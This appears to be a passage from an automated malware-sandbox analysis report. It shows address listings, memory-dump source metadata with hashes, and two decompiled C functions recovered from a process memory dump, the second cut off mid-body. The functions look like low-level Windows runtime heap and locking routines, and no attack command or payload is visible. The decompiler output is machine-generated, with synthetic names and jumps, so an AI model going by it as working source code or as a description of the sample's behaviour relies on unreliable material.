                                      0x0367d78b
                                      0x0367d7b1
                                      0x036cb3c5
                                      0x036cb3c5
                                      0x0367d7c3
                                      0x0367d7ca
                                      0x0367d7e5
                                      0x0367d7eb
                                      0x0367d8eb
                                      0x0367d8ed
                                      0x00000000
                                      0x0367d8f3
                                      0x0367d8f3
                                      0x0367d8f3
                                      0x00000000
                                      0x0367d8ed
                                      0x0367d7cc
                                      0x0367d7cc
                                      0x0367d7d2
                                      0x00000000
                                      0x0367d7d4
                                      0x0367d7d4
                                      0x0367d7d7
                                      0x0367d7df
                                      0x036cb3d4
                                      0x036cb3d9
                                      0x036cb3dc
                                      0x036cb3dc
                                      0x036cb3df
                                      0x036cb3e2
                                      0x036cb468
                                      0x036cb46d
                                      0x036cb46f
                                      0x036cb46f
                                      0x036cb475
                                      0x0367d8f8
                                      0x0367d8f9
                                      0x0367d8fd
                                      0x036cb3e8
                                      0x036cb3e8
                                      0x036cb3eb
                                      0x036cb3ed
                                      0x00000000
                                      0x036cb3ef
                                      0x036cb3ef
                                      0x036cb3f1
                                      0x036cb3f4
                                      0x036cb3fe
                                      0x036cb404
                                      0x036cb409
                                      0x036cb40e
                                      0x036cb410
                                      0x036cb410
                                      0x036cb414
                                      0x036cb414
                                      0x036cb41b
                                      0x036cb420
                                      0x036cb423
                                      0x036cb425
                                      0x036cb427
                                      0x036cb42a
                                      0x036cb42d
                                      0x036cb42d
                                      0x036cb42a
                                      0x036cb432
                                      0x036cb436
                                      0x036cb438
                                      0x036cb43b
                                      0x036cb43b
                                      0x036cb449
                                      0x036cb44e
                                      0x036cb454
                                      0x036cb458
                                      0x036cb458
                                      0x036cb45d
                                      0x00000000
                                      0x036cb45d
                                      0x036cb3ed
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0367d7df
                                      0x0367d7d2
                                      0x0367d7ca
                                      0x036cb37c
                                      0x036cb37e
                                      0x036cb385
                                      0x036cb38a
                                      0x00000000
                                      0x036cb38a
                                      0x0367d742
                                      0x0367d7f1
                                      0x0367d7f8
                                      0x036cb49b
                                      0x036cb49b
                                      0x0367d800
                                      0x0367d837
                                      0x0367d843
                                      0x0367d845
                                      0x0367d847
                                      0x0367d84a
                                      0x0367d84b
                                      0x0367d84e
                                      0x0367d857
                                      0x0367d802
                                      0x0367d802
                                      0x0367d80d
                                      0x00000000
                                      0x0367d818
                                      0x0367d818
                                      0x0367d824
                                      0x0367d831
                                      0x036cb4a5
                                      0x036cb4ab
                                      0x036cb4b3
                                      0x036cb4b8
                                      0x036cb4bb
                                      0x00000000
                                      0x036cb4c1
                                      0x036cb4c1
                                      0x036cb4c8
                                      0x00000000
                                      0x036cb4ce
                                      0x036cb4d4
                                      0x036cb4e1
                                      0x036cb4e3
                                      0x036cb4e5
                                      0x00000000
                                      0x036cb4eb
                                      0x036cb4f0
                                      0x036cb4f2
                                      0x0367dac9
                                      0x0367dacc
                                      0x0367dacf
                                      0x0367dad1
                                      0x0367dd78
                                      0x0367dd78
                                      0x0367dcf2
                                      0x00000000
                                      0x0367dad7
                                      0x0367dad9
                                      0x0367dadb
                                      0x00000000
                                      0x00000000
                                      0x0367dae1
                                      0x0367dae1
                                      0x0367dae4
                                      0x0367dae6
                                      0x036cb4f9
                                      0x036cb4f9
                                      0x036cb500
                                      0x0367daec
                                      0x0367daec
                                      0x0367daf5
                                      0x0367daf8
                                      0x0367dafb
                                      0x0367db03
                                      0x0367db11
                                      0x0367db16
                                      0x0367db19
                                      0x0367db1b
                                      0x036cb52c
                                      0x036cb531
                                      0x036cb534
                                      0x0367db21
                                      0x0367db21
                                      0x0367db24
                                      0x0367dcd9
                                      0x0367dce2
                                      0x0367dce5
                                      0x0367dd6a
                                      0x0367dd6d
                                      0x00000000
                                      0x0367dd73
                                      0x036cb51a
                                      0x036cb51c
                                      0x036cb51f
                                      0x036cb524
                                      0x00000000
                                      0x036cb524
                                      0x0367dce7
                                      0x0367dce7
                                      0x0367dce7
                                      0x00000000
                                      0x0367dce7
                                      0x00000000
                                      0x0367db2a
                                      0x0367db2c
                                      0x0367db31
                                      0x0367db33
                                      0x0367db36
                                      0x0367db39
                                      0x0367db3b
                                      0x0367db66
                                      0x0367db66
                                      0x0367db3d
                                      0x0367db3d
                                      0x0367db3e
                                      0x0367db46
                                      0x0367db47
                                      0x0367db49
                                      0x0367db4c
                                      0x0367db53
                                      0x0367db55
                                      0x0367db58
                                      0x0367db5a
                                      0x036cb50a
                                      0x036cb50f
                                      0x036cb512
                                      0x0367db60
                                      0x0367db60
                                      0x0367db63
                                      0x0367db63
                                      0x00000000
                                      0x0367db63
                                      0x0367db5a
                                      0x0367db3b
                                      0x0367db24
                                      0x0367db69
                                      0x0367db69
                                      0x0367db6c
                                      0x0367db6f
                                      0x0367db74
                                      0x036cb557
                                      0x036cb557
                                      0x036cb55e
                                      0x0367db7a
                                      0x0367db7c
                                      0x0367db7f
                                      0x0367db82
                                      0x0367db85
                                      0x00000000
                                      0x0367db8b
                                      0x0367db8b
                                      0x0367db8d
                                      0x0367db9b
                                      0x0367db9b
                                      0x0367db9d
                                      0x0367dba0
                                      0x0367dba2
                                      0x0367dba4
                                      0x0367dba7
                                      0x0367dba9
                                      0x0367dbae
                                      0x0367dbae
                                      0x0367dbb1
                                      0x0367dbb4
                                      0x0367dbb4
                                      0x0367dbb7
                                      0x0367dbba
                                      0x0367dcd2
                                      0x0367dcd4
                                      0x00000000
                                      0x0367dbc0
                                      0x0367dbc0
                                      0x0367dbd2
                                      0x0367dbd7
                                      0x0367dbda
                                      0x0367dbdd
                                      0x0367dbdf
                                      0x00000000
                                      0x0367dbe5
                                      0x0367dbe5
                                      0x0367dbee
                                      0x0367dbf1
                                      0x036cb541
                                      0x036cb544
                                      0x00000000
                                      0x036cb546
                                      0x036cb546
                                      0x00000000
                                      0x036cb546
                                      0x0367dbf7
                                      0x0367dbf7
                                      0x0367dbfd
                                      0x0367dbfd
                                      0x0367dbff
                                      0x0367dc0b
                                      0x0367dc15
                                      0x0367dc1b
                                      0x0367dc1d
                                      0x0367dc21
                                      0x0367dc21
                                      0x0367dc23
                                      0x0367dc23
                                      0x0367dc26
                                      0x0367dc29
                                      0x0367dc2b
                                      0x00000000
                                      0x00000000
                                      0x0367dc31
                                      0x0367dc34
                                      0x0367dc36
                                      0x0367dcbf
                                      0x0367dcbf
                                      0x0367dcc2
                                      0x00000000
                                      0x0367dc3c
                                      0x0367dc41
                                      0x0367dc43
                                      0x00000000
                                      0x0367dc45
                                      0x0367dc45
                                      0x0367dc47
                                      0x00000000
                                      0x0367dc4d
                                      0x0367dc4d
                                      0x0367dc50
                                      0x0367dc52
                                      0x0367dc55
                                      0x0367dcfa
                                      0x0367dcfe
                                      0x0367dd08
                                      0x0367dd0a
                                      0x0367dd0c
                                      0x00000000
                                      0x0367dd12
                                      0x0367dd15
                                      0x0367dd2d
                                      0x0367dd2f
                                      0x0367dd32
                                      0x0367dd35
                                      0x00000000
                                      0x0367dd35
                                      0x0367dc5b
                                      0x0367dc5b
                                      0x0367dc5e
                                      0x0367dc61
                                      0x0367dc64
                                      0x0367dc67
                                      0x0367dc67
                                      0x0367dc6a
                                      0x0367dc6c
                                      0x0367dc8e
                                      0x0367dc8e
                                      0x0367dc91
                                      0x0367dc93
                                      0x0367dcce
                                      0x0367dcce
                                      0x0367dc95
                                      0x0367dc9c
                                      0x0367dc6e
                                      0x0367dc72
                                      0x0367dc75
                                      0x0367dc77
                                      0x0367dc79
                                      0x036cb551
                                      0x036cb551
                                      0x00000000
                                      0x0367dc7f
                                      0x0367dc7f
                                      0x0367dc81
                                      0x00000000
                                      0x0367dc83
                                      0x0367dc86
                                      0x0367dc88
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0367dc88
                                      0x0367dc81
                                      0x0367dc79
                                      0x0367dc6c
                                      0x0367dc55
                                      0x0367dc47
                                      0x0367dc43
                                      0x00000000
                                      0x0367dc36
                                      0x0367dc23
                                      0x00000000
                                      0x0367dbff
                                      0x0367dbf1
                                      0x0367dbdf
                                      0x0367db8f
                                      0x0367db92
                                      0x0367db95
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0367db95
                                      0x0367db8d
                                      0x0367db85
                                      0x0367db74
                                      0x0367dc9f
                                      0x0367dca2
                                      0x0367dcb0
                                      0x0367dcb0
                                      0x0367dad1
                                      0x036cb4e5
                                      0x036cb4c8
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0367d831
                                      0x0367d80d
                                      0x00000000
                                      0x0367d800
                                      0x036cb47f
                                      0x036cb485
                                      0x00000000
                                      0x036cb485
                                      0x0367d665
                                      0x0367d652
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: b5f4f5ee836e77a9fa643283391d72a88d0c765cf216829d54ff20a48facd52e
                                      • Instruction ID: 651cfa2544d19ab19323a9af4e263655f64a1f94267c34a66e3bcf6ab2c096fa
                                      • Opcode Fuzzy Hash: b5f4f5ee836e77a9fa643283391d72a88d0c765cf216829d54ff20a48facd52e
                                      • Instruction Fuzzy Hash: 9BE1AC34A00359CFDB24DF28CA84BB9B7B6BF85304F5845ADD809AB390D774A982CF51
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 92%
                                      			E0367849B(signed int __ebx, intOrPtr __ecx, signed int __edi, signed int __esi, void* __eflags) {
                                      				void* _t136;
                                      				signed int _t139;
                                      				signed int _t141;
                                      				signed int _t145;
                                      				intOrPtr _t146;
                                      				signed int _t149;
                                      				signed int _t150;
                                      				signed int _t161;
                                      				signed int _t163;
                                      				signed int _t165;
                                      				signed int _t169;
                                      				signed int _t171;
                                      				signed int _t194;
                                      				signed int _t200;
                                      				void* _t201;
                                      				signed int _t204;
                                      				signed int _t206;
                                      				signed int _t210;
                                      				signed int _t214;
                                      				signed int _t215;
                                      				signed int _t218;
                                      				void* _t221;
                                      				signed int _t224;
                                      				signed int _t226;
                                      				intOrPtr _t228;
                                      				signed int _t232;
                                      				signed int _t233;
                                      				signed int _t234;
                                      				void* _t237;
                                      				void* _t238;
                                      
                                      				_t236 = __esi;
                                      				_t235 = __edi;
                                      				_t193 = __ebx;
                                      				_push(0x70);
                                      				_push(0x373f9c0);
                                      				E036BD0E8(__ebx, __edi, __esi);
                                      				 *((intOrPtr*)(_t237 - 0x5c)) = __ecx;
                                      				if( *0x3757b04 == 0) {
                                      					L4:
                                      					goto L5;
                                      				} else {
                                      					_t136 = E0367CEE4( *((intOrPtr*)(__ecx + 0x18)), 1, 9, _t237 - 0x58, _t237 - 0x54);
                                      					_t236 = 0;
                                      					if(_t136 < 0) {
                                      						 *((intOrPtr*)(_t237 - 0x54)) = 0;
                                      					}
                                      					if( *((intOrPtr*)(_t237 - 0x54)) != 0) {
                                      						_t193 =  *( *[fs:0x30] + 0x18);
                                      						 *(_t237 - 0x48) =  *( *[fs:0x30] + 0x18);
                                      						 *(_t237 - 0x68) = _t236;
                                      						 *(_t237 - 0x6c) = _t236;
                                      						_t235 = _t236;
                                      						 *(_t237 - 0x60) = _t236;
                                      						E03682280( *[fs:0x30], 0x3758550);
                                      						_t139 =  *0x3757b04; // 0x1
                                      						__eflags = _t139 - 1;
                                      						if(__eflags != 0) {
                                      							_t200 = 0xc;
                                      							_t201 = _t237 - 0x40;
                                      							_t141 = E0369F3D5(_t201, _t139 * _t200, _t139 * _t200 >> 0x20);
                                      							 *(_t237 - 0x44) = _t141;
                                      							__eflags = _t141;
                                      							if(_t141 < 0) {
                                      								L50:
                                      								E0367FFB0(_t193, _t235, 0x3758550);
                                      								L5:
                                      								return E036BD130(_t193, _t235, _t236);
                                      							}
                                      							_push(_t201);
                                      							_t221 = 0x10;
                                      							_t202 =  *(_t237 - 0x40);
                                      							_t145 = E03661C45( *(_t237 - 0x40), _t221);
                                      							 *(_t237 - 0x44) = _t145;
                                      							__eflags = _t145;
                                      							if(_t145 < 0) {
                                      								goto L50;
                                      							}
                                      							_t146 =  *0x3757b9c; // 0x0
                                      							_t235 = L03684620(_t202, _t193, _t146 + 0xc0000,  *(_t237 - 0x40));
                                      							 *(_t237 - 0x60) = _t235;
                                      							__eflags = _t235;
                                      							if(_t235 == 0) {
                                      								_t149 = 0xc0000017;
                                      								 *(_t237 - 0x44) = 0xc0000017;
                                      							} else {
                                      								_t149 =  *(_t237 - 0x44);
                                      							}
                                      							__eflags = _t149;
                                      							if(__eflags >= 0) {
                                      								L8:
                                      								 *(_t237 - 0x64) = _t235;
                                      								_t150 =  *0x3757b10; // 0x9
                                      								 *(_t237 - 0x4c) = _t150;
                                      								_push(_t237 - 0x74);
                                      								_push(_t237 - 0x39);
                                      								_push(_t237 - 0x58);
                                      								_t193 = E0369A61C(_t193,  *((intOrPtr*)(_t237 - 0x54)),  *((intOrPtr*)(_t237 - 0x5c)), _t235, _t236, __eflags);
                                      								 *(_t237 - 0x44) = _t193;
                                      								__eflags = _t193;
                                      								if(_t193 < 0) {
                                      									L30:
                                      									E0367FFB0(_t193, _t235, 0x3758550);
                                      									__eflags = _t235 - _t237 - 0x38;
                                      									if(_t235 != _t237 - 0x38) {
                                      										_t235 =  *(_t237 - 0x48);
                                      										L036877F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x48));
                                      									} else {
                                      										_t235 =  *(_t237 - 0x48);
                                      									}
                                      									__eflags =  *(_t237 - 0x6c);
                                      									if( *(_t237 - 0x6c) != 0) {
                                      										L036877F0(_t235, _t236,  *(_t237 - 0x6c));
                                      									}
                                      									__eflags = _t193;
                                      									if(_t193 >= 0) {
                                      										goto L4;
                                      									} else {
                                      										goto L5;
                                      									}
                                      								}
                                      								_t204 =  *0x3757b04; // 0x1
                                      								 *(_t235 + 8) = _t204;
                                      								__eflags =  *((char*)(_t237 - 0x39));
                                      								if( *((char*)(_t237 - 0x39)) != 0) {
                                      									 *(_t235 + 4) = 1;
                                      									 *(_t235 + 0xc) =  *(_t237 - 0x4c);
                                      									_t161 =  *0x3757b10; // 0x9
                                      									 *(_t237 - 0x4c) = _t161;
                                      								} else {
                                      									 *(_t235 + 4) = _t236;
                                      									 *(_t235 + 0xc) =  *(_t237 - 0x58);
                                      								}
                                      								 *((intOrPtr*)(_t237 - 0x54)) = E036A37C5( *((intOrPtr*)(_t237 - 0x74)), _t237 - 0x70);
                                      								_t224 = _t236;
                                      								 *(_t237 - 0x40) = _t236;
                                      								 *(_t237 - 0x50) = _t236;
                                      								while(1) {
                                      									_t163 =  *(_t235 + 8);
                                      									__eflags = _t224 - _t163;
                                      									if(_t224 >= _t163) {
                                      										break;
                                      									}
                                      									_t228 =  *0x3757b9c; // 0x0
                                      									_t214 = L03684620( *((intOrPtr*)(_t237 - 0x54)) + 1,  *(_t237 - 0x48), _t228 + 0xc0000,  *(_t237 - 0x70) +  *((intOrPtr*)(_t237 - 0x54)) + 1);
                                      									 *(_t237 - 0x78) = _t214;
                                      									__eflags = _t214;
                                      									if(_t214 == 0) {
                                      										L52:
                                      										_t193 = 0xc0000017;
                                      										L19:
                                      										 *(_t237 - 0x44) = _t193;
                                      										L20:
                                      										_t206 =  *(_t237 - 0x40);
                                      										__eflags = _t206;
                                      										if(_t206 == 0) {
                                      											L26:
                                      											__eflags = _t193;
                                      											if(_t193 < 0) {
                                      												E036A37F5( *((intOrPtr*)(_t237 - 0x5c)), _t237 - 0x6c);
                                      												__eflags =  *((char*)(_t237 - 0x39));
                                      												if( *((char*)(_t237 - 0x39)) != 0) {
                                      													 *0x3757b10 =  *0x3757b10 - 8;
                                      												}
                                      											} else {
                                      												_t169 =  *(_t237 - 0x68);
                                      												__eflags = _t169;
                                      												if(_t169 != 0) {
                                      													 *0x3757b04 =  *0x3757b04 - _t169;
                                      												}
                                      											}
                                      											__eflags = _t193;
                                      											if(_t193 >= 0) {
                                      												 *((short*)( *((intOrPtr*)(_t237 - 0x5c)) + 0x3a)) = 0xffff;
                                      											}
                                      											goto L30;
                                      										}
                                      										_t226 = _t206 * 0xc;
                                      										__eflags = _t226;
                                      										_t194 =  *(_t237 - 0x48);
                                      										do {
                                      											 *(_t237 - 0x40) = _t206 - 1;
                                      											_t226 = _t226 - 0xc;
                                      											 *(_t237 - 0x4c) = _t226;
                                      											__eflags =  *(_t235 + _t226 + 0x10) & 0x00000002;
                                      											if(( *(_t235 + _t226 + 0x10) & 0x00000002) == 0) {
                                      												__eflags =  *(_t235 + _t226 + 0x10) & 0x00000001;
                                      												if(( *(_t235 + _t226 + 0x10) & 0x00000001) == 0) {
                                      													 *(_t237 - 0x68) =  *(_t237 - 0x68) + 1;
                                      													_t210 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
                                      													__eflags =  *((char*)(_t237 - 0x39));
                                      													if( *((char*)(_t237 - 0x39)) == 0) {
                                      														_t171 = _t210;
                                      													} else {
                                      														 *(_t237 - 0x50) =  *(_t210 +  *(_t237 - 0x58) * 4);
                                      														L036877F0(_t194, _t236, _t210 - 8);
                                      														_t171 =  *(_t237 - 0x50);
                                      													}
                                      													L48:
                                      													L036877F0(_t194, _t236,  *((intOrPtr*)(_t171 - 4)));
                                      													L46:
                                      													_t206 =  *(_t237 - 0x40);
                                      													_t226 =  *(_t237 - 0x4c);
                                      													goto L24;
                                      												}
                                      												 *0x3757b08 =  *0x3757b08 + 1;
                                      												goto L24;
                                      											}
                                      											_t171 =  *(_t226 +  *(_t237 - 0x64) + 0x14);
                                      											__eflags = _t171;
                                      											if(_t171 != 0) {
                                      												__eflags =  *((char*)(_t237 - 0x39));
                                      												if( *((char*)(_t237 - 0x39)) == 0) {
                                      													goto L48;
                                      												}
                                      												E036A57C2(_t171,  *((intOrPtr*)(_t235 + _t226 + 0x18)));
                                      												goto L46;
                                      											}
                                      											L24:
                                      											__eflags = _t206;
                                      										} while (_t206 != 0);
                                      										_t193 =  *(_t237 - 0x44);
                                      										goto L26;
                                      									}
                                      									_t232 =  *(_t237 - 0x70) + 0x00000001 + _t214 &  !( *(_t237 - 0x70));
                                      									 *(_t237 - 0x7c) = _t232;
                                      									 *(_t232 - 4) = _t214;
                                      									 *(_t237 - 4) = _t236;
                                      									E036AF3E0(_t232,  *((intOrPtr*)( *((intOrPtr*)(_t237 - 0x74)) + 8)),  *((intOrPtr*)(_t237 - 0x54)));
                                      									_t238 = _t238 + 0xc;
                                      									 *(_t237 - 4) = 0xfffffffe;
                                      									_t215 =  *(_t237 - 0x48);
                                      									__eflags = _t193;
                                      									if(_t193 < 0) {
                                      										L036877F0(_t215, _t236,  *(_t237 - 0x78));
                                      										goto L20;
                                      									}
                                      									__eflags =  *((char*)(_t237 - 0x39));
                                      									if( *((char*)(_t237 - 0x39)) != 0) {
                                      										_t233 = E0369A44B( *(_t237 - 0x4c));
                                      										 *(_t237 - 0x50) = _t233;
                                      										__eflags = _t233;
                                      										if(_t233 == 0) {
                                      											L036877F0( *(_t237 - 0x48), _t236,  *(_t237 - 0x78));
                                      											goto L52;
                                      										}
                                      										 *(_t233 +  *(_t237 - 0x58) * 4) =  *(_t237 - 0x7c);
                                      										L17:
                                      										_t234 =  *(_t237 - 0x40);
                                      										_t218 = _t234 * 0xc;
                                      										 *(_t218 +  *(_t237 - 0x64) + 0x14) =  *(_t237 - 0x50);
                                      										 *(_t218 + _t235 + 0x10) = _t236;
                                      										_t224 = _t234 + 1;
                                      										 *(_t237 - 0x40) = _t224;
                                      										 *(_t237 - 0x50) = _t224;
                                      										_t193 =  *(_t237 - 0x44);
                                      										continue;
                                      									}
                                      									 *(_t237 - 0x50) =  *(_t237 - 0x7c);
                                      									goto L17;
                                      								}
                                      								 *_t235 = _t236;
                                      								_t165 = 0x10 + _t163 * 0xc;
                                      								__eflags = _t165;
                                      								_push(_t165);
                                      								_push(_t235);
                                      								_push(0x23);
                                      								_push(0xffffffff);
                                      								_t193 = E036A96C0();
                                      								goto L19;
                                      							} else {
                                      								goto L50;
                                      							}
                                      						}
                                      						_t235 = _t237 - 0x38;
                                      						 *(_t237 - 0x60) = _t235;
                                      						goto L8;
                                      					}
                                      					goto L4;
                                      				}
                                      			}

































                                      0x0367849b
                                      0x0367849b
                                      0x0367849b
                                      0x0367849b
                                      0x0367849d
                                      0x036784a2
                                      0x036784a7
                                      0x036784b1
                                      0x036784d8
                                      0x00000000
                                      0x036784b3
                                      0x036784c4
                                      0x036784c9
                                      0x036784cd
                                      0x036784cf
                                      0x036784cf
                                      0x036784d6
                                      0x036784e6
                                      0x036784e9
                                      0x036784ec
                                      0x036784ef
                                      0x036784f2
                                      0x036784f4
                                      0x036784fc
                                      0x03678501
                                      0x03678506
                                      0x03678509
                                      0x036786e0
                                      0x036786e5
                                      0x036786e8
                                      0x036786ed
                                      0x036786f0
                                      0x036786f2
                                      0x036c9afd
                                      0x036c9b02
                                      0x036784da
                                      0x036784df
                                      0x036784df
                                      0x036786fa
                                      0x036786fd
                                      0x036786fe
                                      0x03678701
                                      0x03678706
                                      0x03678709
                                      0x0367870b
                                      0x00000000
                                      0x00000000
                                      0x03678711
                                      0x03678725
                                      0x03678727
                                      0x0367872a
                                      0x0367872c
                                      0x036c9af0
                                      0x036c9af5
                                      0x03678732
                                      0x03678732
                                      0x03678732
                                      0x03678735
                                      0x03678737
                                      0x03678515
                                      0x03678515
                                      0x03678518
                                      0x0367851d
                                      0x03678523
                                      0x03678527
                                      0x0367852b
                                      0x03678537
                                      0x03678539
                                      0x0367853c
                                      0x0367853e
                                      0x0367868c
                                      0x03678691
                                      0x03678699
                                      0x0367869b
                                      0x03678744
                                      0x03678748
                                      0x036786a1
                                      0x036786a1
                                      0x036786a1
                                      0x036786a4
                                      0x036786a8
                                      0x036c9bdf
                                      0x036c9bdf
                                      0x036786ae
                                      0x036786b0
                                      0x00000000
                                      0x036786b6
                                      0x00000000
                                      0x036c9be9
                                      0x036786b0
                                      0x03678544
                                      0x0367854a
                                      0x0367854d
                                      0x03678551
                                      0x0367876e
                                      0x03678778
                                      0x0367877b
                                      0x03678780
                                      0x03678557
                                      0x03678557
                                      0x0367855d
                                      0x0367855d
                                      0x0367856b
                                      0x0367856e
                                      0x03678570
                                      0x03678573
                                      0x03678576
                                      0x03678576
                                      0x03678579
                                      0x0367857b
                                      0x00000000
                                      0x00000000
                                      0x03678581
                                      0x036785a0
                                      0x036785a2
                                      0x036785a5
                                      0x036785a7
                                      0x036c9b1b
                                      0x036c9b1b
                                      0x0367862e
                                      0x0367862e
                                      0x03678631
                                      0x03678631
                                      0x03678634
                                      0x03678636
                                      0x03678669
                                      0x03678669
                                      0x0367866b
                                      0x036c9bbf
                                      0x036c9bc4
                                      0x036c9bc8
                                      0x036c9bce
                                      0x036c9bce
                                      0x03678671
                                      0x03678671
                                      0x03678674
                                      0x03678676
                                      0x036c9bae
                                      0x036c9bae
                                      0x03678676
                                      0x0367867c
                                      0x0367867e
                                      0x03678688
                                      0x03678688
                                      0x00000000
                                      0x0367867e
                                      0x03678638
                                      0x03678638
                                      0x0367863b
                                      0x0367863e
                                      0x0367863f
                                      0x03678642
                                      0x03678645
                                      0x03678648
                                      0x0367864d
                                      0x036c9b69
                                      0x036c9b6e
                                      0x036c9b7b
                                      0x036c9b81
                                      0x036c9b85
                                      0x036c9b89
                                      0x036c9ba7
                                      0x036c9b8b
                                      0x036c9b91
                                      0x036c9b9a
                                      0x036c9b9f
                                      0x036c9b9f
                                      0x03678788
                                      0x0367878d
                                      0x03678763
                                      0x03678763
                                      0x03678766
                                      0x00000000
                                      0x03678766
                                      0x036c9b70
                                      0x00000000
                                      0x036c9b70
                                      0x03678656
                                      0x0367865a
                                      0x0367865c
                                      0x03678752
                                      0x03678756
                                      0x00000000
                                      0x00000000
                                      0x0367875e
                                      0x00000000
                                      0x0367875e
                                      0x03678662
                                      0x03678662
                                      0x03678662
                                      0x03678666
                                      0x00000000
                                      0x03678666
                                      0x036785b7
                                      0x036785b9
                                      0x036785bc
                                      0x036785bf
                                      0x036785cc
                                      0x036785d1
                                      0x036785d4
                                      0x036785db
                                      0x036785de
                                      0x036785e0
                                      0x036c9b5f
                                      0x00000000
                                      0x036c9b5f
                                      0x036785e6
                                      0x036785ea
                                      0x036786c3
                                      0x036786c5
                                      0x036786c8
                                      0x036786ca
                                      0x036c9b16
                                      0x00000000
                                      0x036c9b16
                                      0x036786d6
                                      0x036785f6
                                      0x036785f6
                                      0x036785f9
                                      0x03678602
                                      0x03678606
                                      0x0367860a
                                      0x0367860b
                                      0x0367860e
                                      0x03678611
                                      0x00000000
                                      0x03678611
                                      0x036785f3
                                      0x00000000
                                      0x036785f3
                                      0x03678619
                                      0x0367861e
                                      0x0367861e
                                      0x03678621
                                      0x03678622
                                      0x03678623
                                      0x03678625
                                      0x0367862c
                                      0x00000000
                                      0x0367873d
                                      0x00000000
                                      0x0367873d
                                      0x03678737
                                      0x0367850f
                                      0x03678512
                                      0x00000000
                                      0x03678512
                                      0x00000000
                                      0x036784d6

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: b931d4a6aa431b873b7f85794e2d7f74b6ce42803d9c2bfd2fbd9adb371eb536
                                      • Instruction ID: 2b96e859bd434b0a27290c935db27b7bbf0ec478de92015fbc76549ff5d37c71
                                      • Opcode Fuzzy Hash: b931d4a6aa431b873b7f85794e2d7f74b6ce42803d9c2bfd2fbd9adb371eb536
                                      • Instruction Fuzzy Hash: 52B13874E00349EFDB28DFA9C989AAEBBB9BF48304F54412DE415AB345D770AD42CB50
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 67%
                                      			E0369513A(intOrPtr __ecx, void* __edx) {
                                      				signed int _v8;
                                      				signed char _v16;
                                      				intOrPtr _v20;
                                      				intOrPtr _v24;
                                      				char _v28;
                                      				signed int _v32;
                                      				signed int _v36;
                                      				signed int _v40;
                                      				intOrPtr _v44;
                                      				intOrPtr _v48;
                                      				char _v63;
                                      				char _v64;
                                      				signed int _v72;
                                      				signed int _v76;
                                      				signed int _v80;
                                      				signed int _v84;
                                      				signed int _v88;
                                      				signed char* _v92;
                                      				signed int _v100;
                                      				signed int _v104;
                                      				char _v105;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				void* _t157;
                                      				signed int _t159;
                                      				signed int _t160;
                                      				unsigned int* _t161;
                                      				intOrPtr _t165;
                                      				signed int _t172;
                                      				signed char* _t181;
                                      				intOrPtr _t189;
                                      				intOrPtr* _t200;
                                      				signed int _t202;
                                      				signed int _t203;
                                      				char _t204;
                                      				signed int _t207;
                                      				signed int _t208;
                                      				void* _t209;
                                      				intOrPtr _t210;
                                      				signed int _t212;
                                      				signed int _t214;
                                      				signed int _t221;
                                      				signed int _t222;
                                      				signed int _t226;
                                      				intOrPtr* _t232;
                                      				signed int _t233;
                                      				signed int _t234;
                                      				intOrPtr _t237;
                                      				intOrPtr _t238;
                                      				intOrPtr _t240;
                                      				void* _t245;
                                      				signed int _t246;
                                      				signed int _t247;
                                      				void* _t248;
                                      				void* _t251;
                                      				void* _t252;
                                      				signed int _t253;
                                      				signed int _t255;
                                      				signed int _t256;
                                      
                                      				_t255 = (_t253 & 0xfffffff8) - 0x6c;
                                      				_v8 =  *0x375d360 ^ _t255;
                                      				_v32 = _v32 & 0x00000000;
                                      				_t251 = __edx;
                                      				_t237 = __ecx;
                                      				_t212 = 6;
                                      				_t245 =  &_v84;
                                      				_t207 =  *((intOrPtr*)(__ecx + 0x48));
                                      				_v44 =  *((intOrPtr*)(__edx + 0xc8));
                                      				_v48 = __ecx;
                                      				_v36 = _t207;
                                      				_t157 = memset(_t245, 0, _t212 << 2);
                                      				_t256 = _t255 + 0xc;
                                      				_t246 = _t245 + _t212;
                                      				if(_t207 == 2) {
                                      					_t247 =  *(_t237 + 0x60);
                                      					_t208 =  *(_t237 + 0x64);
                                      					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
                                      					_t159 =  *((intOrPtr*)(_t237 + 0x58));
                                      					_v104 = _t159;
                                      					_v76 = _t159;
                                      					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
                                      					_v100 = _t160;
                                      					_v72 = _t160;
                                      					L19:
                                      					_v80 = _t208;
                                      					_v84 = _t247;
                                      					L8:
                                      					_t214 = 0;
                                      					if( *(_t237 + 0x74) > 0) {
                                      						_t82 = _t237 + 0x84; // 0x124
                                      						_t161 = _t82;
                                      						_v92 = _t161;
                                      						while( *_t161 >> 0x1f != 0) {
                                      							_t200 = _v92;
                                      							if( *_t200 == 0x80000000) {
                                      								break;
                                      							}
                                      							_t214 = _t214 + 1;
                                      							_t161 = _t200 + 0x10;
                                      							_v92 = _t161;
                                      							if(_t214 <  *(_t237 + 0x74)) {
                                      								continue;
                                      							}
                                      							goto L9;
                                      						}
                                      						_v88 = _t214 << 4;
                                      						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
                                      						_t165 = 0;
                                      						asm("adc eax, [ecx+edx+0x7c]");
                                      						_v24 = _t165;
                                      						_v28 = _v40;
                                      						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
